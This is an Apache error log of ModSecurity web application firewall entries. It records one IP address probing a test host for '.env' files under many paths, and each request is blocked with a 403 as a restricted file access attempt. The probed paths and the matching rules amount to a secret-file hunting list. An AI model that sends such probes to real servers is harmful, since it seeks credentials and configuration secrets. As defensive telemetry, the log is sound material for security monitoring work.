[Fri Mar 13 10:38:58.503074 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8NQAAAAs"]
[Fri Mar 13 10:38:58.503194 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8NQAAAAs"]
[Fri Mar 13 10:38:58.620439 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /portal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8OgAAAAs"]
[Fri Mar 13 10:38:58.620633 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8OgAAAAs"]
[Fri Mar 13 10:38:58.620758 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/portal/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8OgAAAAs"]
[Fri Mar 13 10:38:58.643463 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8OwAAAAs"]
[Fri Mar 13 10:38:58.643664 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8OwAAAAs"]
[Fri Mar 13 10:38:58.643863 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8OwAAAAs"]
[Fri Mar 13 10:38:58.689503 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /product/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/product/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PQAAAAs"]
[Fri Mar 13 10:38:58.689705 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/product/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PQAAAAs"]
[Fri Mar 13 10:38:58.689827 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/product/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PQAAAAs"]
[Fri Mar 13 10:38:58.712750 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PgAAAAs"]
[Fri Mar 13 10:38:58.712961 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PgAAAAs"]
[Fri Mar 13 10:38:58.713093 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/production/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PgAAAAs"]
[Fri Mar 13 10:38:58.735528 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/project/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PwAAAAs"]
[Fri Mar 13 10:38:58.735724 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/project/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PwAAAAs"]
[Fri Mar 13 10:38:58.735853 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/project/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8PwAAAAs"]
[Fri Mar 13 10:38:58.758905 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public-api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QAAAAAs"]
[Fri Mar 13 10:38:58.760045 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public-api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QAAAAAs"]
[Fri Mar 13 10:38:58.760197 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public-api/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QAAAAAs"]
[Fri Mar 13 10:38:58.782674 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QQAAAAs"]
[Fri Mar 13 10:38:58.782864 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QQAAAAs"]
[Fri Mar 13 10:38:58.782991 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QQAAAAs"]
[Fri Mar 13 10:38:58.828807 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public_html/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QwAAAAs"]
[Fri Mar 13 10:38:58.829000 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public_html/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QwAAAAs"]
[Fri Mar 13 10:38:58.829175 2026] [:error] [pid 2667040] [client 185.177.72.49:7592] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public_html/.env"] [unique_id "abPbMm5hdSeM3FMgw0t8QwAAAAs"]
[Fri Mar 13 10:38:58.900417 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /qa/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.env"] [unique_id "abPbMg_F2ofVADhybSyNNAAAAAU"]
[Fri Mar 13 10:38:58.900620 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.env"] [unique_id "abPbMg_F2ofVADhybSyNNAAAAAU"]
[Fri Mar 13 10:38:58.900743 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/qa/.env"] [unique_id "abPbMg_F2ofVADhybSyNNAAAAAU"]
[Fri Mar 13 10:38:58.994793 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abPbMg_F2ofVADhybSyNOAAAAAU"]
[Fri Mar 13 10:38:58.995038 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abPbMg_F2ofVADhybSyNOAAAAAU"]
[Fri Mar 13 10:38:58.995225 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abPbMg_F2ofVADhybSyNOAAAAAU"]
[Fri Mar 13 10:38:59.018048 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/api/.env"] [unique_id "abPbMw_F2ofVADhybSyNOQAAAAU"]
[Fri Mar 13 10:38:59.018286 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/api/.env"] [unique_id "abPbMw_F2ofVADhybSyNOQAAAAU"]
[Fri Mar 13 10:38:59.018453 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/api/.env"] [unique_id "abPbMw_F2ofVADhybSyNOQAAAAU"]
[Fri Mar 13 10:38:59.065095 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/backend/.env"] [unique_id "abPbMw_F2ofVADhybSyNOwAAAAU"]
[Fri Mar 13 10:38:59.065307 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/backend/.env"] [unique_id "abPbMw_F2ofVADhybSyNOwAAAAU"]
[Fri Mar 13 10:38:59.065465 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/backend/.env"] [unique_id "abPbMw_F2ofVADhybSyNOwAAAAU"]
[Fri Mar 13 10:38:59.230480 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /service/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/service/.env"] [unique_id "abPbMw_F2ofVADhybSyNQgAAAAU"]
[Fri Mar 13 10:38:59.230759 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/service/.env"] [unique_id "abPbMw_F2ofVADhybSyNQgAAAAU"]
